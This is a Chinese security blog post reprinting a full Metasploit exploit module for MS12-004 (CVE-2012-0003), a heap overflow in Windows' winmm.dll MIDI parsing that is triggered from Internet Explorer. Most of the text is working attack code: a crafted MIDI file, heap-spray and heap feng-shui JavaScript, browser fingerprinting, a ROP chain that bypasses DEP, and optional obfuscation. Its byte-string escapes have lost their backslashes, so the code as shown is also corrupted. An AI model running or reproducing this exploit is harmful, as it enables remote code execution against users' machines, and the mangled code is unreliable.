MS12-004溢出

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::HttpServer::HTML
    def initialize(info={})
        super(update_info(info,
            'Name'           => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
            'Description'    => %q{
                    This module exploits a heap overflow vulnerability in the Windows Multimedia
                Library (winmm.dll). The vulnerability occurs when parsing specially crafted
                MIDI files.  Remote code execution can be achieved by using Windows Media Player's
                ActiveX control.
                    Exploitation is done by supplying a specially crafted MIDI file with
                specific events, causing the offset calculation being higher than how much is
                available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
                us to either "inc al" or "dec al" a byte.  This can be used to corrupt an array
                (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
                which leverages remote code execution under the context of the user.
                    At this time, for IE 8 target, JRE (Java Runtime Environment) is required
                to bypass DEP (Data Execution Prevention).
                    Note: Based on our testing, the vulnerability does not seem to trigger when
                the victim machine is operated via rdesktop.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Shane Garrett',  #Initial discovery (IBM X-Force)
                    'juan vazquez',
                    'sinn3r',
                ],
            'References'     =>
                [
                    [ 'MSB', 'MS12-004'],
                    [ 'CVE', '2012-0003' ],
                    [ 'OSVDB', '78210'],
                    [ 'BID', '51292'],
                    [ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
                ],
            'Payload'        =>
                {
                    'Space'    => 1024,
                },
            'DefaultOptions'  =>
                {
                    'EXITFUNC'             => "process",
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [
                        'IE 6 on Windows XP SP3',
                        {
                            'Rop' => false,
                            'DispatchDst' => 0x0c0c0c0c
                        }
                    ],
                    [
                        'IE 7 on Windows XP SP3',
                        {
                            'Rop' => false,
                            'DispatchDst' => 0x0c0c0c0c
                        }
                    ],
                    [
                        'IE 8 on Windows XP SP3',
                        {
                            # xchg ecx,esp
                            # or byte ptr [eax],al
                            # add byte ptr [edi+5Eh],bl
                            # ret 8
                            # From IMAGEHLP
                            'Rop' => true,
                            'StackPivot' => 0x76C9B4C2,
                            'DispatchDst' => 0x0c0c1be4
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jan 10 2012",
            'DefaultTarget'  => 0))
        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)
    end
    def get_target(request)
        agent = request.headers['User-Agent']
        vprint_status("Request from: #{agent}")
        if agent =~ /NT 5.1/ and agent =~ /MSIE 6.0/
            #Windows XP SP3 + IE 6.0
            return targets[1]
        elsif agent =~ /NT 5.1/ and agent =~ /MSIE 7.0/
            #Windows XP SP3 + IE 7.0
            return targets[2]
        elsif agent =~ /NT 5.1/ and agent =~ /MSIE 8.0/
            #Windows XP SP3 + IE 8.0 + JRE6
            return targets[3]
        else
            return nil
        end
    end
    def get_midi
        # MIDI Fileformat Reference:
        # http://www.sonicspot.com/guide/midifiles.html
        #
        # Event Types:
        # 0x08 = Note Off (when MIDI key is released)
        # 0x09 = Note On (when MIDI key is pressed)
        # 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
        # 0x0B = Controller Event (MIDI channels state)
        # 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
        # 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
        # 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
        # 0x0F = Meta Events (not sent or received over a midi port)
        # Structure:
        # [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
        # Problem:
        # Windows Media Player fails to manage Note On and Note Off Events
        # Track Chunk Data
        tc = "x00xFFx03x0Dx44x72x75x6D"
        # Meta Event - Sequence/Track Name
        tc << "x73x20x20x20x28x42x42x29x00"
        # Midi Channel Event - Program Change
        tc << "x00xC9x28"
        # Midi Channel Event - Controller
        tc << "x00xB9x07x64"
        # Midi Channel Event - Controller
        tc << "x00xB9x0Ax40"
        # Midi Channel Event - Controller
        tc << "x00xB9x7Bx00"
        # Midi Channel Event - Controller
        tc << "x00xB9x5Bx28"
        # Midi Channel Event - Controller
        tc << "x00xB9x5Dx00"
        # Midi Channel Event - Note On
        tc << "x85x50x99x23x7F"
        # Corruption events
        # Midi Channel Event - Note On
        tc << "x00x9Fxb2x73"
        # Ends Corruption events
        # Meta Event - End Of Track
        tc << "x00xFFx2Fx00"
        m = ''
        # HEADERCHUNK Header
        m << "MThd"                 # Header
        m << "x00x00x00x06"     # Chunk size
        m << "x00x00"             # Format Type
        m << "x00x01"             # Number of tracks
        m << "x00x60"             # Time division
        # TRACKCHUNK header
        m << "MTrk"                 # Header
        m << [tc.length].pack('N')
        m << tc
        midi_name = "test_case.mid"
        return midi_name, m
    end
    def on_request_uri(cli, request)
        if request.uri =~ /.mid$/i
            print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")
            send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
            return
        end
        #Set default target
        my_target = target
        #If user chooses automatic target, we choose one based on user agent
        if my_target.name =~ /Automatic/
            my_target = get_target(request)
            if my_target.nil?
                send_not_found(cli)
                print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
                return
            end
            vprint_status("Target selected: #{my_target.name}")
        end
        midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
        midi_uri << "/#{@m_name}"
        spray = build_spray(my_target)
        if datastore['OBFUSCATE']
            spray = ::Rex::Exploitation::JSObfu.new(spray)
            spray.obfuscate
        end
        trigger = build_trigger(my_target)
        trigger_fn = "trigger"
        if datastore['OBFUSCATE']
            trigger = ::Rex::Exploitation::JSObfu.new(trigger)
            trigger.obfuscate
            trigger_fn = find_trigger_fn(trigger.to_s)
        end
        html = %Q|
        <html>
        <head>
        <script language='javascript'>
            #{spray}
        </script>
        <script language='javascript'>
            #{trigger}
        </script>
        <script for=audio event=PlayStateChange(oldState,newState)>
            if (oldState == 3 && newState == 0) {
                #{trigger_fn}();
            }
        </script>
        </head>
        <body>
            <object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
                <param name="fileName" value="#{midi_uri}">
                <param name="SendPlayStateChangeEvents" value="true">
                <param NAME="AutoStart" value="True">
                <param name="uiMode" value="mini">
                <param name="Volume" value="-300">
            </object>
        </body>
        </html>
        |
        html = html.gsub(/^tt/, '')
        print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
    def exploit
        @m_name, @midi = get_midi
        super
    end
    def build_spray(my_target)
        # Extract string based on target
        if my_target.name == 'IE 8 on Windows XP SP3'
            js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
        else
            js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
        end
        # Build shellcode based on Rop requirement
        if my_target['Rop']
            code = create_rop_chain(my_target)
            code << payload.encoded
            shellcode = Rex::Text.to_unescape(code)
        else
            code = payload.encoded
            shellcode = Rex::Text.to_unescape(code)
        end
        # 1. Create  big block of nops
        # 2. Compose one block which is nops + shellcode
        # 3. Repeat the block
        # 4. Extract string from the big block
        # 5. Spray
        spray = <<-JS
        var heap_obj = new heapLib.ie(0x10000);
        var code = unescape("#{shellcode}");
        var nops = unescape("%u0c0c%u0c0c");
        while (nops.length < 0x1000) nops+= nops;
        var shellcode =  nops.substring(0,0x800 - code.length) + code;
        while (shellcode.length < 0x40000) shellcode += shellcode;
        #{js_extract_str}
        heap_obj.gc();
        for (var i=0; i < 600; i++) {
            heap_obj.alloc(block);
        }
        JS
        spray = heaplib(spray, {:noobfu => true})
        return spray
    end
    # Build the JavaScript string for the attributes
    def build_element(element_name, my_target)
        dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
        element = ''
        if my_target.name =~ /IE 8/
            max   = 63   # Number of attributes for IE 8
            index = 1    # Where we want to confuse the type
        else
            max   = 55   # Number of attributes for before IE 8
            index = 0    # Where we want to confuse the type
        end
        element << "var #{element_name} = document.createElement("select")" + "n"
        # Build attributes
        0.upto(max) do |i|
            obj = (i==index) ? "unescape("#{dst}")" : "alert"
            element << "#{element_name}.w#{i.to_s} = #{obj}" + "n"
        end
        return element
    end
    # Feng Shui and triggering Steps:
    # 1. Run the garbage collector before allocations
    # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
    # 3. Make holes
    # 4. Let windows media play the crafted midi file and corrupt the heap
    # 5. Force the using of the confused tagVARIANT.
    def build_trigger(my_target)
        if my_target.name == 'IE 8 on Windows XP SP3'
            # Redoing the feng shui if fails makes it reliable
            js_trigger = <<-JSTRIGGER
            function trigger(){
                var k = 999;
                while (k > 0) {
                    if (typeof(clones[k].w1) == "string") {
                    } else {
                        clones[k].w1('come on!');
                    }
                    k = k - 2;
                }
                feng_shui();
                document.audio.Play();
            }
            JSTRIGGER
            select_element = build_element('selob', my_target)
        else
            js_trigger = <<-JSTRIGGER
            function trigger(){
                var k = 999;
                while (k > 0) {
                    if (typeof(clones[k].w0) == "string") {
                    } else {
                        clones[k].w0('come on!');
                    }
                    k = k - 2;
                }
                feng_shui();
                document.audio.Play();
            }
            JSTRIGGER
            select_element = build_element('selob', my_target)
        end
        trigger = <<-JS
            var heap = new heapLib.ie();
            #{select_element}
            var clones=new Array(1000);
            function feng_shui() {
                heap.gc();
                var i = 0;
                while (i < 1000) {
                    clones[i] = selob.cloneNode(true)
                    i = i + 1;
                }
                var j = 0;
                while (j < 1000) {
                    delete clones[j];
                    CollectGarbage();
                    j  = j + 2;
                }
            }
            feng_shui();
            #{js_trigger}
        JS
        trigger = heaplib(trigger, {:noobfu => true})
        return trigger
    end
    def find_trigger_fn(trigger)
        fns = trigger.scan(/function ([a-zA-Z0-9_]+)()/)
        if fns.nil? or fns.empty?
            return "trigger"
        else
            return fns.last.first
        end
        return "trigger"
    end
    def junk(n=1)
        tmp = []
        value = rand_text(4).unpack("L")[0].to_i
        n.times { tmp << value }
        return tmp
    end
    # ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)
    # Added a little of roping to adjust the stack pivoting for this case
    # Specific for IE8 XP SP3 case at this time
    def create_rop_chain(my_target)
        rop_gadgets =
        [
            0x7c347f98,  # RETN (ROP NOP) [msvcr71.dll]
            my_target['StackPivot'],  # stackpivot
            junk, # padding
            0x7c376402,  # POP EBP # RETN [msvcr71.dll]
            0x7c376402,  # skip 4 bytes [msvcr71.dll]
            0x7c347f97,  # POP EAX # RETN [msvcr71.dll]
            0xfffff800,  # Value to negate, will become 0x00000201 (dwSize)
            0x7c351e05,  # NEG EAX # RETN [msvcr71.dll]
            0x7c354901,  # POP EBX # RETN [msvcr71.dll]
            0xffffffff,
            0x7c345255,  # INC EBX # FPATAN # RETN [msvcr71.dll]
            0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
            0x7c344f87,  # POP EDX # RETN [msvcr71.dll]
            0xffffffc0,  # Value to negate, will become 0x00000040
            0x7c351eb1,  # NEG EDX # RETN [msvcr71.dll]
            0x7c34d201,  # POP ECX # RETN [msvcr71.dll]
            0x7c38b001,  # &Writable location [msvcr71.dll]
            0x7c34b8d7,  # POP EDI # RETN [msvcr71.dll]
            0x7c347f98,  # RETN (ROP NOP) [msvcr71.dll]
            0x7c364802,  # POP ESI # RETN [msvcr71.dll]
            0x7c3415a2,  # JMP [EAX] [msvcr71.dll]
            0x7c347f97,  # POP EAX # RETN [msvcr71.dll]
            0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
            0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
            0x7c345c30,  # ptr to 'push esp #  ret ' [msvcr71.dll]
        ].flatten.pack('V*')
        return rop_gadgets
    end
end

本文固定链接: https://www.unhonker.com/bug/459.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2012年02月01日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: MS12-004溢出 | 90' s Blog|关注网络信息安全

MS12-004溢出:目前有1 条留言

  1. 沙发
    Bread:

    溢出溢出。。 怎么这么多溢出啊。。 敢不敢写的时候严谨一点, 受害者是用户啊

    2012-03-27 15:33

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